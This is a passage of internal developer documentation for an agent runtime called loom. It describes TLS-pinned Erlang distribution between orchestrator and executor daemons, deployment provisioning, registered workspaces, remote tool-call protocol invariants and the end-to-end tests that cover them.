`check_choice` judges the profile and then the model (`check_model`, a third
`Refusal`, `UnknownModel`), `server.create_session` maps it to the code
`unknown_model`, and the control dispatch words it with the keys that exist.
`HomeAttachment.models` reads `profiles.model_keys` for the web form once at page
open and, as for profiles, only for a page that holds the creation capability.
`ui_socket.create_for` and `create_task` take a `creations.Roles` in place of a
bare profile and map `unknown_model` to `creations.UnknownModel`. The observer
socket's admission is untouched: the form's existing submit carries the field.
The model composes with a session's place (protocol 078): `manager.Creation` and
the registration carry the model beside `executor` and `pool`, `reserve_creation`
compares all of them on a retry (a pooled request still does not compare the
executor), and a session that moves keeps it because `session_move.Manifest`
carries `model` and `session_importer` registers it on the receiver. The web
form for a registered workspace draws no model select, so `create_for` passes
`creations.default_roles` for that place; the control command can pin a model on
an executor or pool session.
## Trusted distribution membership (protocol 078)
`client/distribution` is the membership layer for orchestrator and executor
daemons that trust each other as Erlang nodes. It starts TLS distribution on a
VM that was booted for it and connects to the configured peers. It sends no
message, registers no name and runs no service; the executor role and remote
tool calls are later slices that use the `Peer` it returns.
`Config` is built by `configure` (names, absolute credential paths, one to 32
distinct peers each with a 32-byte pin, optional `listen_port`) or read from
the `[distribution]` table by `from_document` / `parse`; both return a sentence
naming the key, and `None` when the table is absent, which means distribution
stays off. `catalog.parse` validates the same table, so a typo is refused
wherever the file is read. `tls_options` renders the `ssl_dist_optfile` text
and `boot_arguments` the three flags. `start` returns a `Membership`; `peer`
resolves a configured name to a `Peer`, `connect` makes an explicit hidden
connection under a weft deadline, and `describe` words a `Fault` for the
operator.
`client/internal/ffi_distribution` and `src/client_distribution_ffi.erl` are
the only foreign code: the ssl `verify_fun`, `net_kernel:start/2` and
`hidden_connect_node/1`, the checks of the emulator's own boot arguments, and
the launch of `epmd`. None of it is expressible in `gleam_erlang`, `gleam_otp` or `weft`. The verify
callback keeps every PKIX failure, and for the leaf it requires the SHA-256 pin
and the exact node name (the certificate's only DNS name containing an `@`) of
one configured peer, in both directions. Network input never makes an atom:
peer names become atoms once inside `start`, and `peer` looks them up by string.
The foreign code also has a live mode (protocol-change/086), which `[distribution]
ledger` selects: `tls_options` renders no pin and the callback checks a leaf
against the `pins` row of the protected ETS table `loom_dist_pins`, refusing
every handshake with `ledger_unavailable` when the table is absent. See
"The membership ledger, TLS and dialing (slice 1c)" below.
Invariants that break things when violated:
- `start` checks the boot before it reads a credential: not already distributed,
OTP 29 or newer, `-proto_dist inet_tls`, `-ssl_dist_optfile` present, no
`-name`, `-sname`, `-setcookie`, `-nocookie` or `-ssl_dist_opt`, and an options
file that is private and equals `tls_options` for this configuration. Each
failure is its own `BootRefusal`, so the operator is told what to change.
- The configured cookie path must be the emulator's `$HOME/.erlang.cookie`,
since the emulator reads the cookie from the init home when it opens its
listener. The key and cookie must be mode 0600.
- `dist_auto_connect` is `never` and the node is hidden. Do not add a code path
that dials a node that is not a configured peer, and never connect from
inside a satellite: satellites boot with `-proto_dist none` and their
environment is built from an allowlist, so `ERL_FLAGS` is not inherited.
- A failed `start` stops the partial distribution (`net_kernel:stop/0`) and
returns no `Membership`.
- An epmd must answer before `net_kernel:start/2`. The daemon VM is booted
without `-name`, and unlike `erl -name` at boot, a dynamic `net_kernel:start/2`
never launches epmd, so on a machine with no epmd running the node fails to
register (`econnrefused`, then `nodistribution`). `ensure_epmd` in the FFI asks
loopback (under a deadline, since `erl_epmd:names/1` has none) and, when
nothing answers, runs `epmd -daemon` from `code:root_dir()/erts-<version>/bin`
or `PATH`, then polls up to three seconds. It does nothing under
`-start_epmd false`, which the tunnelled-orchestrator recipe sets. The port is
the VM's `epmd_port` argument (from `ERL_EPMD_PORT`); `ERL_EPMD_ADDRESS`
reaches the daemon through the inherited environment. Failures are
`EpmdUnavailable(port)` and `StartFailed`, never `InvalidCredentials`: that
fault now means only a credential read or match failed. The fixture's
`raw_wait` calls `ensure_epmd` too, so it works with no epmd.
The daemon calls `start` from `daemon/main.prepare_startup` before the
catalogue is opened and refuses to start with `describe`'s sentence, so a VM
booted without the flags fails before any state is touched. The launcher
`bin/loomd` (Makefile `server-shipment`) appends `-proto_dist inet_tls
-ssl_dist_optfile "$LOOM_DISTRIBUTION_OPTFILE"` to `ERL_FLAGS` when that
variable is set and is otherwise unchanged. `daemon/distribution_cli` is
`loomd distribution options CONFIG OUTPUT`, which writes the options file with
mode 0600 from the same table.
`test/client/distribution_test.gleam` covers configuration refusals in process
and drives `test/client_distribution_fixture_ffi.erl`, which mints certificates
and boots separate emulators with the production flags: a correct pair connects
and exchanges a message; a wrong leaf pin (either side), a pin that matches but
carries another node name, a pin that matches but was issued by an untrusted
CA, and a cookie mismatch are each refused; a send to an unconnected peer does
not connect; and the boot and credential refusals leave the VM non-distributed.
Four scenarios give the child a private `ERL_EPMD_PORT` and so hold with or
without a machine epmd: start launches an epmd that registers the node and
stops it afterwards, a port held by a listener that never answers gives
`EpmdUnavailable` without hanging, a taken `listen_port` gives `StartFailed`,
and `-start_epmd false` launches nothing.
Removing the pin comparison, the name comparison, the PKIX failure or
`dist_auto_connect = never` from the callback fails exactly its own scenario.
`test/client/daemon_shipped_remote_test.gleam` is the shipped-daemon end to end
(issue #697, gated on `LOOM_BOOTSTRAP_E2E_SERVER` like the other shipped
fixtures, and on the sibling `bin/loom-exec` enforcing a policy, which
`enforcement.probe` measures; `make server-shipment` alone does not build the
helper, `make binaries` or `make sandbox` plus an install into `bin/` does).
`test/support/remote_daemons.gleam` mints a CA and per-node leaves with
`openssl`, writes each node's cookie at that node's isolated `$HOME`, renders the
`loom.toml` files and `loomd distribution options`, and starts an orchestrator, an
executor and a second orchestrator with a decoy pin through a wrapper that sets
`LOOM_DISTRIBUTION_OPTFILE`. `test/support/remote_probe.gleam` runs as a throwaway
emulator that each daemon lists as a peer and reports connections, makes a daemon
dial or drop a connection (`erpc`), and lists a daemon's hidden nodes. The
orchestrator's model is a `provider_http` script on loopback. Three tests share
the fixture:
- `daemon_shipped_remote_test_`: wrong pins are refused in each direction and no
daemon dials the executor before a session exists; `sessions.create` with
`executor`/`workspace` settles `resident`; the model writes a file with
`fs_write`, reads it with `bash` and `fs_read`; the file is under the
executor's checkout and nothing named like it or like `repo` is on the
orchestrator; the executor then lists the orchestrator as connected with no
probe dial; a stop leaves the executor's scope `closed`/`all_retired` at
incarnation 1 (read from a copy of `exec-ledger.db`), and a reopen attaches at
incarnation 2 and reads the earlier file.
- `daemon_shipped_remote_restart_test_`: the orchestrator is killed with
`SIGKILL` while a `bash` call sleeps on the executor and started again. The
reopen waits out the dead daemon's writer lease (up to 60 s), recovers the call
from the executor's ledger, and the model gets the stored outcome; the
side-effect file shows one run.
- `daemon_shipped_remote_partition_test_`: the probe has the orchestrator
`disconnect_node` the executor mid-call; the surface repairs the link and
re-sends the same `Run`, the file shows one run, and the executor lists the
orchestrator again afterwards.
`test/client/daemon_shipped_remote_codemode_test.gleam` runs the two heavier
effects on the same two-daemon fixture, with no probe node. Both tests need the
build seed (`make codemode-seed`), which the fixture hands the executor with
`remote_daemons.start_with(layout, ["--codemode-seed", seed])`; the executor
reads that flag as a local daemon does (`executor_plane.machine`). The fixture
directory is a short one under `/var/tmp` because code mode's capability socket
is bound below the executor's state root and an AF_UNIX path is about a hundred
bytes. A missing seed, `gleam` or `rg` prints a `SKIP shipped remote code mode`
line and passes. The provider is started with `provider.with_server_for` for a
longer callback budget and, in the code-mode test, `provider.AlsoFailed`, which
lets the model receive an error result.
- `daemon_shipped_remote_codemode_test_`: one `code_mode` program is vetted,
compiled and launched on the executor, writes a file through `cap/fs` into the
executor's checkout and reports a computed value with the text of `README.md`;
a second program that does not type check comes back as an error result with
the compiler's diagnostic. The program's file and the `.codemode` and `.blobs`
directories are absent from the orchestrator, and a stop leaves the scope
`closed`/`all_retired`.
- `daemon_shipped_remote_lsp_test_`: the executor's `loom.toml` carries
`[lsp.gleam]` and the orchestrator's does not. A `cap/lsp` program reads the
hover, definition and references of `greet`; a rename preview names three files
and leaves the disk alone; the apply rewrites all three in the executor's
checkout with settled, empty diagnostics; an `fs_write` of a module that does
not type check returns a settled diagnostics block with one error, and
`lsp.diagnostics` reads it back. The executor is started with `--helper` naming
the real `bin/loom-exec`, not the isolated launcher's symbolic link to it: the
helper re-executes itself inside the sandbox profile, a language server's
profile reads only the system directories and the project, and the link lives
in the fixture's home, so the profile cannot follow it (the exec fails with
`sandbox-exec: execvp() ... Operation not permitted` and the probe exits 71).
`bash` and code mode run under a profile that reads the whole host and never
notice.
`test/client/daemon_shipped_remote_tools_test.gleam` covers the rest of the
phase 1 workspace plane on the same fixture, one pair per test, with the pair's
arrangement in `test/support/remote_pair.gleam` (gating, the short `/var/tmp`
directory, credentials, both configuration files, `open_registered`,
`session_fact` and `session_socket`). `session_fact` reads a reserved fact from
a copy of the orchestrator's session store, and `session_socket` is the owner's
socket on the session for commands such as `goal_set` and `worktree_diff`. A
host without `rg` or `git` prints a `SKIP shipped remote tools` line and passes.
`provider_http` admits the advisor's standing brief (`advisor.brief`) as a
leading block of the first user message, so a scripted reviewer can be fed.
- `daemon_shipped_remote_search_and_cwd_test_`: `grep` finds a pattern in files
only the executor holds and honours its `globs`; `working_directory` selects a
subdirectory, the next `bash` reports the executor's path, a `bash` call's own
`cwd` leaves the selection alone, the orchestrator's store holds
`client/working_directory/main`, and after a stop and reopen a `bash` call
still starts there.
- `daemon_shipped_remote_jobs_test_`: a `bash` call whose `timeout_ms` passes
becomes a background job, and ends when the test creates a file in the
checkout; the executor's completion notice wakes the idle session through the
owner port, and `job_poll` reads its exit status and output. A second job,
started with `mode: "background"`, appends to a file every fifth of a second;
`job_kill` stops it and the file stops growing. `live_jobs` lists both while
they run and none after, and the store holds a `job/<id>` record for each, in
the phase it ended in.
- `daemon_shipped_remote_hooks_test_`: the checkout's `.claude/settings.json`
runs nothing until the orchestrator holds a trust record for the hash of the
bytes the executor sent (the test writes it with `hooktrust.trust`, as the
absent `loom hooks trust` will). Then a `SessionStart` hook runs once and its
output rides the first request, a `PreToolUse` hook runs on the executor
around a `bash` call with the call as stdin and the checkout as its working
directory, a `PostToolUse` hook replaces the output the model reads, and a
`PreToolUse` hook that exits 2 refuses an `fs_write` with its message as the
error result. A `PostToolUse` note added beside the output is a second content
block, which `provider_http` does not admit, so the hook rewrites instead.
- `daemon_shipped_remote_goal_test_`: a goal's check runs in the executor's
checkout. One check passes on a file only the executor holds and prints the
executor's path; the other fails because the file it names exists only in the
orchestrator's launch directory. The board and the reviewer's feed (a second
scripted provider on the `advisor` role) carry each result.
- `daemon_shipped_remote_git_and_guidance_test_`: the executor's `AGENTS.md` and
`CLAUDE.md` and the operator's global `AGENTS.md` reach every request's system
prompt, and same-named decoys in the orchestrator's launch directory, under the
registered name there and in its home reach none. A `git` call reports the
executor's branch and commit; the orchestrator's store holds that commit as
`session/git-start` and the root and branch in `client/peers/git-observation`;
the `worktree_diff` board lists a file the model added. The system prompt has
no Git state (`prompt/default`), local or remote.
`test/client/daemon_shipped_remote_strand_test.gleam` and
`daemon_shipped_remote_owner_loss_test.gleam` run a `code_mode` program on the
executor that spawns a child strand, on the same `remote_pair` fixture. Both
need the build seed (`remote_pair.code_mode_seed`, passed to the executor as
`--codemode-seed`) and print a `SKIP shipped remote ...` line without it. A
spawned child makes the glance loop ask the `summarize` role for a title, and an
unrouted role falls back to `main`, which is the scripted provider and refuses
the request as out of order; `remote_pair.models_without_glance` routes the role
to a closed port so the script lists only the conversation under test. A child's
first request is matched by `AwaitPromptPrefix(strand_framing.brief_head("main"))`.
- `daemon_shipped_remote_strand_test_`: the program calls `strand.spawn` and
`strand.wait`; the orchestrator's Agency creates the child and runs its turn
against the same scripted provider. The child's `bash` call prints the
executor's checkout as its working directory and writes a file there, which is
absent from the orchestrator. The child's final text returns through the join
into the program's report, and the scope closes `all_retired`.
- `daemon_shipped_remote_owner_loss_test_`: the program joins a detached child
whose `bash` call takes 40 seconds. After the call has started, a probe (the
third distribution node, issued by `remote_pair.probe_identity`, listed in
both configurations by `remote_pair.configure_trusting`) has the orchestrator
drop its connection to the executor (`remote_pair.drop_link`). The program is
told `owner_unavailable` and the model answers within 20 seconds of the cut,
with the child's command run once and the provider's script consumed in order.
An owner that is up and silent is not covered: its bound is a constant of the
executor, and no daemon can be made to hold a reply back without a hook in
production code.
### Provisioning a deployment (issue #697)
`loom distribution` (also `loomd distribution`, and `dist` for either) takes an
operator from nothing to a trusted deployment with no openssl and no script.
`loom` forwards the verb to `loomd` the way it forwards `ext`
(`packages/tui/CLAUDE.md`); the implementation is here, in five modules that
each own one step:
- `client/distribution_plan` reads the plan (`[[node]]` tables, in TOML or JSON
by file extension) into a neutral `Tree`, decodes it once, and validates it:
unique executor-grammar node names and Erlang names, roles closed, `executors`
only on orchestrators and naming executors, `workspaces` only on executors
under `catalogue.is_workspace_name` with absolute roots, every executor used
and every orchestrator peered. `peers` derives the edges: an orchestrator
peers with the executors it uses and with the other orchestrators, an executor
with the orchestrators that use it, always symmetrically.
- `client/distribution_provision` mints one authority, one certificate per node
and one shared cookie, builds a `Bundle` per node and the secret-free
`System` (`system.json`), and writes `<node>.loombundle` (mode 0600) and
`system.json` into a 0700 directory it refuses to reuse without `--force`. The
CA key is dropped when `provision` returns. `render` is `show`.
`provision_ledger` is the ledger mode (below), which the command uses unless
`--static`: it keeps the key and the cookie, returns them as an `Authority` for
the caller to seal or drop, and `write` adds `ledger.log`.
- `client/distribution_bundle` is the single-file bundle: JSON, marker
`loom-distribution-bundle/1` (or `/2`, below), the node's role, `Trust` (peers
with pins, or a ledger), role tables and the CA, certificate, key and cookie
inline. `decode` is the install gate:
strict keys, the plan's own `check_node`, the daemon's own `configure` for the
node and peers, the cookie rule, and `ffi_pki.inspect` (readable PEM, chain to
the CA and validity, key matches certificate, exactly the node name as the
only `@` DNS name, the host present). `config_tables` renders the `loom.toml`
tables the bundle owns.
- `client/distribution_install` is `install BUNDLE [--home] [--config]
[--force]`. It decides every destination (create, unchanged, replace or
refuse) before it writes anything, merges the owned tables into `loom.toml` at
the text level (append what is missing, skip what is equal, refuse or with
`--force` remove the bundle's own sections and append), reads the merged text
back through `distribution.from_document` and `executors.from_document`, and
generates the options file from the merged `[distribution]`. A different
existing cookie at `$HOME/.erlang.cookie` is refused unless `--force`, since
Erlang reads one cookie for every node the user starts. Rerunning with the
same bundle changes nothing.
- `daemon/distribution_cli` dispatches `init`, `provision`, `show`, `install`,
`options` and the five ledger commands (`daemon/ledger_cli`, below). `run`
returns the text to print; `main` prints and halts. No command prints a key,
cookie, passphrase or certificate. `provision` writes a ledger unless given
`--static`, and takes `--drop-authority`, `--passphrase-file` and `--home`
(below); the tui carries a byte-identical copy of the usage text, which
`scripts/cli_help_test.sh` compares.
- `daemon/executor_cli` is `loomd executor release SESSION [--state-dir PATH]`
(`loom executor release` forwards to it from the launcher, with the help text
duplicated in `tui` and compared by `scripts/cli_help_test.sh`). It takes the
state directory's endpoint reservation through `daemon.claim_endpoint`, which
refuses while a live daemon holds it, then opens `<state-dir>/exec-ledger.db`
and calls `exec_ledger.release`. It never creates the state directory. The
orchestrator's side of the same exit is `scope.attach_at`: a close with unknown
cleanup attaches at the next incarnation, which the executor refuses until the
release and reopens after it.
The only new foreign code is `src/client_pki_ffi.erl` behind
`client/internal/ffi_pki`: `authority`, `issue`, `pin`, `inspect` and
`random_bytes` over OTP `public_key` and `crypto`, because no Gleam library
generates or signs X.509, then `sign` and `verify` for the ledger, and
`derive_key`, `encrypt`, `decrypt` and `read_secret` for the authority key at
rest (PBKDF2 and AES-GCM, which `gleam_crypto` lacks, and a prompt that does
not echo). Keys are ECDSA P-256, signatures
ecdsa-with-SHA256, the authority lasts 3650 days and node certificates 1825 days.
Renewal, adding a node without reissuing the others, and revocation are certificate
rotation, which is later work: today a changed deployment is provisioned again and
every bundle is reinstalled with `--force`.
Invariants:
- A bundle holds the key and the cookie. It is written 0600 through
`bootstrap.atomic_write_private`, and no command or error message may contain
`Bundle.key`, `Bundle.cookie` or any PEM. The tests assert this for the
summary, `system.json`, `show` and `install` output.
- `install` writes nothing when any destination is refused. A new destination,
or a new refusal, goes into the plan phase before `ensure_private_directory`.
- The text merge touches only `[distribution]` (with its peer rows),
`[executors.<name>]` and `[workspaces.<name>]` sections the bundle names. The
read-back in `accepted` is what proves a section was replaced; keep it.
- A plan or bundle rule is the daemon's rule by construction (`check_node_name`,
`configure`, `is_executor_name`, `is_workspace_name`), never a copy.
`test/client/distribution_provision_test.gleam` covers the plan in both
spellings, each refusal, provisioning modes and `system.json`, the pins and the
exact certificate names (recomputed in `client_distribution_fixture_ffi` with
`public_key` directly), install into scratch homes, idempotence, the cookie,
conflicting-table and credential refusals, tampered bundles, the commands, the
`dist` alias, and two real emulators booted from files `install` wrote: they
connect with pins checked on the executor's fixed port, and changing one peer pin
in the orchestrator's installed `loom.toml` makes the connection refuse.
## Naming a registered workspace (protocol 078)
`sessions.create` takes an optional `executor`. `client/executors` decodes the
`[executors.<name>]` tables (`node` only, which must be one of the
`[[distribution.peers]]` nodes, so a document with executors and no
`[distribution]` is refused); `catalog.parse` validates it with every other table
and `daemon/main.prepare_startup` captures the list once in `Config.executors`,
which `listen_serving` copies into `server.Config.executors`. It is never reread.
A new `[executors.<name>]` key means `executors.row`, `scripts/config_keys.sh`
and `docs/configuration.md`.
With an `executor` the workspace is a registered name. `protocol` decodes it
under `catalogue.is_workspace_name` (no `/`, no NUL, at most 128 bytes), takes the
executor under `is_executor_name`, defaults the domain scope to `session_only` and
refuses `workspace_private` as malformed. `server.create_session` then skips
`bootstrap.canonical_directory` for it, answers `executor_unknown` when
`executors.find` misses, does not call `manager.remember_folder`, and passes the
name through `manager.Creation.executor`, which `reserve_creation` compares on a
retry. `view_json` and the owner `sessions.get` add an `executor` member only
when it is non-empty, so a local record is byte-identical.
Every use of `Registration.workspace` that a registered session reaches is
guarded by the shape of the text (a name never starts with `/`) or by the
executor itself: `serve.resolve_managed` resolves a registration with
`RegisteredWorkspace`, so `resolve` neither canonicalizes the name nor looks for a
helper or Go caches for it;
`ui_project.locate` returns `None` for a workspace that is not an absolute path;
`ui_socket.known_workspace` only matches local sessions, so a home page can never
re-create into a name; `catalogue.set_workspace_default` refuses a registered
session; the domain record holds the name under a session-only domain, which
`storage/domain.validate` alone allows. Creating such a session starts its
opening (create initializes) and the daemon assembles it with
`serve.assemble_registered` (see "Assembling a registered session" below). A
daemon that cannot reach the executor (no `[distribution]`, an unconfigured name,
a refused handshake or attach) fails the build, and `operations.get` reports
`start_failed` with an `executor_unavailable: ...` reason; the registration stays
`reserved`, so `sessions.open` answers `not_initialized` and the creation key
retries. `test/client/daemon_registered_test.gleam` covers the wire, and
`executors_test` the table.
Both first-party clients create such a session. The terminal sends the same
`sessions.create` from `loom --executor <name> --workspace <registered name>` (see
`packages/tui`). The web home reaches `create_session` through
`ui_socket.create_for` with a `creations.Registered(executor, workspace)` place:
`placed` judges only the shape of the name (`creations.registered_name`) and never
calls the folder check, `executor_of` puts the executor on the `manager.Creation`,
and `scope_of` makes a registered place session-only whatever the form said, which
the control decoder does for `domain_scope` and a direct `create_session` call does
not. `server.create_session` then answers `executor_unknown` for an executor the
daemon does not configure, which `creation_refusal` words as
`creations.UnknownExecutor`. The page learns the executor names from
`server.HomeAttachment.executors` (`list.map(config.executors, ...)` in
`home_upgrade`), which `ui_socket.upgrade_home` hands to `home.Start.executors`
only for a page that holds the creation capability; nothing about it is on the
control protocol. `listed_entry` copies `Registration.executor` into the sidebar's
`sessions.Entry`, and `with_projects` skips a registered entry, whose workspace is
a name and not a path to look a repository up from.
## Remote tool calls (protocol 078)
`client/remote/*` is the mechanics of running a session's tool calls on another
machine: the executor's host, the orchestrator's surface and owner port, and the
closed message vocabulary between them
(`docs/design-notes/distributed-runtime.md` section 6, `protocol-change/078`).
It is generic over the workspace plane, so nothing here depends on how `serve`
assembles one; an integration supplies a `host.PlaneFactory` on the executor and
composes `surface.Functions` into a `ToolSurface` on the orchestrator. The
orchestrator side is assembled by `remote/workspace` and `serve`, and the
executor side by `daemon/main.start_executor`, which starts the host from
`[workspaces.<name>]` rows with `executor_plane.factory`; both have sections
below.
- `remote/protocol` is plain data only: `Key`, `HostMessage(census)` (`Attach`,
`Run`, `Query`, `QueryOrFence`, `ListUnacked`, `Ack`, `Close`), `OwnerMessage`
(one constructor per `OwnerServices` function, plus `Tail` as a cast), the
replies (`RunAnswer` = `RunFinished | RunLost | RunRefused`, `Lookup` =
`Missing | Admitted | Terminal | Unknown | Fenced`), `Refusal`, and
`CloseOutcome`. The census is a type parameter the host never reads.
`unknown_outcome_text` is the model's wording for a lost call and
`did_not_run_text` the wording of a fenced one. `Attach` carries
`protocol.version` (3); the host refuses any other value with `VersionMismatch`.
Change the version whenever a constructor or field changes. Version 2 moved
the executor's clock reading out of the census and into `Attached`, so each
reply carries the time it was sent. Version 3 added background executions
(`StartExecution`, `StopExecution`, `LaunchExecution`, `InteractExecution`,
`Unacked.executions`, `Lookup.Executed`) and `AskMcpPlan`, the MCP plan the
executor asks the owner port for while it builds a plane. `Attach` keeps the
shape it had in version 2, so a peer of either version reaches the version
check and is refused by value; never add a field to it, or the refusal
becomes a crash of the host and the executor daemon. Every other message
assumes a peer built from the same source.
- `remote/address` is `{registered name, node}`. `deliver` and `watch` go through
`internal/ffi_remote`, three stock-OTP `@external`s (`erlang:send/2` and
`erlang:monitor/2` on a `{Name, Node}` destination, and `gleam_stdlib`'s
identity to make a `Name` from fixed text) because `gleam_erlang` resolves a
named subject only on the sending node. No `.erl` file, and no atom is made
from network input.
- `remote/codec` stores a `ToolOutcome` as the `core/codec` JSON in an envelope
and decodes it totally.
- `remote/host` is the executor's node-level actor (`weft/actor`), registered under
`address.default()`. It owns the one `storage/exec_ledger` handle, builds a
`Plane(census)` per session through the `PlaneFactory` as a weft run (the
scope is `Building` until it reports), runs each tool as a weft run whose
result arrives as a message, and commits `finish` before any waiter is
answered. A fresh result is answered from the value in hand
(`SettledFresh`); only a row read back from the ledger is decoded. A `Plane` is `run`, `census`, `children` (adders for a per-scope
supervisor the host starts through an owner process) and `close`, which is
handed a function that stops those children. Read its module doc for the
admission table.
- `remote/owner_link` is the executor's `OwnerServices` over messages: monitored
calls (`broker/internal/call.try_call`), in-band failure when the owner is
gone, and a one-cell `Link` that `host.attach` re-points when a later runtime
attaches to an open scope.
- `remote/owner_port` is the orchestrator's per-session actor. Every request runs
in a weft run cancelled when its requester exits (`cancel_when_exits`), and a
`Tail` is served inline. It reconciles acknowledgements on `bind` and on a
weft periodic timer, acknowledging only keys the injected `settled` accepts.
- `remote/surface` is `attach`, `run`, `recover`, `ack`, `places` and
`functions`. A lost connection is repaired with `weft/poll.fold_until` on a
doubling interval and the same `Run` is sent again. `recover` sends
`QueryOrFence` for a call whose `run.replay` is `ReplayNever` and plain
`Query` for a `ReplaySafe` one.
Invariants that break things when violated:
- Every session open calls `surface.attach` once, before its first `run` or
`recover`, and shares that one surface across every strand and every strand
or runtime restart inside the open. The fresh token is the only fence against
a dead open's in-flight `Run`; Erlang orders messages per sender pair only. A
second attach inside one open rotates the token and gets another strand's
live `Run` refused as `StaleToken`. `recover` assumes the attach ran, because
"no row" means "never started" only after it.
- A `Run` is idempotent by call key and the host never starts a second run for a
key. The surface relies on this to re-send after a reconnect; do not re-send
`Run` anywhere else.
- The host cancels a run only when its last waiter exits with a reason other
than `noconnection` (`host.cancels_run`). `noconnection` leaves the run going
and its outcome in the ledger. A waiter that exits with `noconnection` is
dropped, and its re-send adds it back.
- The ledger row is made `terminal` before any reply, `unknown` before a cancelled
run's worker is killed, and a request for an `unknown` key never starts the
call again.
- An escalation crosses as a remaining duration, never a deadline. The plane must
be built on `AttachSpec.clock` so the executor's deadline and the owner link
read one time base.
- A `Run` for a scope with no plane in this VM (after an executor restart,
before the next attach) is answered from the ledger first: a key with a stored
outcome gets it, a key with an unknown or orphaned-admitted row gets `RunLost`,
and only a key with no row is refused with `NoPlane` or `PlaneBuilding`. The
refusal says nothing started, which is false for a call the restart cut off
(`answer_without_plane`; model: `RefusalMeansUntouched`).
- A scope with no plane in this VM closes as `UnknownCleanup(0)`: without a
plane there is no retirement witness. A failed plane build leaves the scope
open for a retry attach at the same incarnation.
- The plane build, a tool run and a close are each a weft run, so none blocks
the host or another session. While a scope is `Building`, a second `Attach`,
a `Run` and a `Close` for it are refused with `PlaneBuilding` before the
ledger is touched; do not move the check after `exec_ledger.attach`, which
would replace the token the first attach is waiting on. `surface.attach` treats
that refusal as "ask again": it re-sends the same attach, with the same token,
until `attach_within_ms` runs out and only then returns `PlaneBuilding`, so a
repair that re-sends an attach whose build is still running does not fail the
open.
- A repeated `Close` on a scope that already ended at that incarnation answers
the stored `CloseOutcome` and does not ask the plane again, so an orchestrator
whose reply was lost, or whose move resumes after a restart, learns the
cleanup finished. The scope row is the evidence, not the host's memory. A
`Close` at another incarnation is still refused. A second `Close` that arrives
while the first is running is not guarded yet: it finds no plane and records
`UnknownCleanup(0)` before the first job finishes.
- Recovery of a `ReplayNever` call must fence (`QueryOrFence`). A plain `Query`
that finds no row leaves a window in which a dead runtime's `Run` is still in
flight and then starts the call that recovery just reported as not started.
Making `exec_ledger.query_or_fence` insert nothing fails
`a_fence_before_a_stale_run_stops_the_run_from_starting_test`.
- The host's death must end the daemon. The planes it builds (pool, executor
service, broker) are not in its link set, so a lone restart would leave them
running and build second ones on the next attach. `daemon/main.start_executor`
unlinks the host and `wait` halts on its monitor.
- `ffi_remote.send` to an unregistered name on the local node raises, so same-VM
tests must keep the host up; across nodes the send is dropped instead.
- The owner port's requester is a pid on the executor's node, and
`owner_port.answer` hands it to `weft.cancel_when_exits`. That needs weft
>= 0.4.6, which watches a remote pid by monitor alone; 0.4.5 raised `badarg`
from `erlang:is_process_alive/1` and took the session down on the first
executor callback. The test builds an unconnected node's pid with
`client_test_ffi:remote_pid/0`.
Tests: `remote/{codec,host,owner_port,surface}_test` run one VM against a real
ledger and a fake plane (`support/remote_fixtures`, which counts how many times
the fake tool ran and can hold one session's build open). `remote/remote_nodes_test` drives
`client_distribution_fixture_ffi`'s `remote_*` scenarios on two real emulators
(`support/remote_nodes` holds the roles): an undisturbed call that round-trips an
owner callback, a connection dropped while the tool runs and repaired at once,
and one that stays down until the tool has finished. Each asserts one outcome and
one tool run. Making the host ignore the attach token fails the stale-token
tests, making `noconnection` cancel fails `only_noconnection_leaves_a_call_running`
and both outage scenarios, and making the surface skip the re-send fails both
outage scenarios.
## Assembling a registered session (protocol 078)
`remote/workspace` is the orchestrator's workspace half. `workspace.attach`
turns an executor's attach reply into the `workspace_plane.WorkspacePlane` that
`serve.assemble_in` already reads, so the conversation half is assembled by the
same code for both placements and only the `Home` (`Here(prepared)` or
`There(placement)`) and the `Half` it yields differ. In order, an open: reads
`remote/scope` and chooses the candidates (the executor the cell names, else the
`Placement`'s, see "Executor pools" below); connects the candidate's peer
(`Reach.connect`, failure keeps the `executor_unavailable:` prefix); writes the
cell, naming the executor and the incarnation; starts one `owner_port` over the
same `OwnerServices` a local session builds; attaches once; compares the census
with the executor's declaration; builds the plane. `serve.assemble_registered` is
the entry point, `daemon/main` keeps the `distribution.Membership` and builds the
`Placement` (`workspace.fixed` or `workspace.pooled`) for a registration with an
`executor` or a `pool`, and `Instance.pool` and `Instance.executor`
are `None` for such a session (`test/support/local_workspace` unwraps them for
local fixtures).
- **Tools.** The registry takes `contributions.described_tools(census.tools)`
where a local session takes its plane's `decls`, so the order, the pinned
prompt index and the active list match a local session's. `wiring.run_placed`
routes by `tool_placement`, unchanged; `plane.run` for a registered session
ignores the authority `run_placed` read, because the surface reads its own
with `wiring.read_authority` at the send. `ToolSurface.recover` is
`Hands.recover`: a workspace tool asks the executor's ledger, an owner tool is
judged by its replay policy as it is in a local session (safe is offered for
replay, anything else is unknown). Clearance stays local.
- **Non-tool callers.** Imported hooks, the goal check and Git observation use
`plane.broker`, a `broker.over(census.broker, clock)` handle, and
`Half.call_clock`, this machine's clock shifted by the reply's `executor_now_ms`
(the host reads its clock for each `Attached`, a rebound one included) minus the
local reading at receipt (`workspace.rebased`). A `CallSpec` deadline is
absolute and the executor's broker compares it with its own clock, so every
caller that builds a deadline must read `call_clock`, not `clock`.
`with_imported_hooks`, `goal_check_wiring` and `worktree_wiring` take it.
- **Prompt.** `render_prompt` is unchanged: the user's guidance is read here, the
workspace's arrives in `census.prompt`, and the platform, shell and policy
facts come from `census.census`.
- **Scope record.** `remote/scope` keeps `{incarnation, closed, executor}` in the
reserved cell `client/remote/scope`. No cell attaches at 1, a close that ended,
clean or with unknown cleanup, at the stored incarnation plus one, anything
else at the stored one. The unknown-cleanup case asks for the next
incarnation so that an operator's `loomd executor release` on the executor
turns the executor's `UncleanClose` into a reopen. It is written
straight to the store (the way `session_git` writes), so only while no runtime
owns it: after the connection and before the attach is sent, by the close
below, and removed by `scope.clear` after a first open's capacity refusal. A
`StaleIncarnation` from the executor fails the open naming both numbers, except
in one case: when the record never saw the close of the incarnation it just
attached under (`closed: None`) and the executor reports that same incarnation,
the scope is closed cleanly there. The open then asks the executor to close it
(a closed scope answers its stored outcome), records the answer, and attaches
once more at the incarnation the record now allows.
- **Close.** `custody.Workspace` (after `Services`, before `Mcp`) runs
`plane.close`: ask the executor to close the scope, record what it reports,
stop the owner port. An unanswered or refused close records nothing and still
succeeds, since the scope is then open on the executor and the next open
rebinds it; failing custody over an unreachable machine would only hold the
reservation. `plane.fatal` is empty, so a partition is not a fatal root.
`close_instance` stops the broker and helpers only for a local workspace.
- **Settled.** The port's reconciler acknowledges a key when `workspace.settled`
says this session no longer holds the call pending: the operation's state is
gone, or its `Tools` batch for that step no longer lists the call as planned or
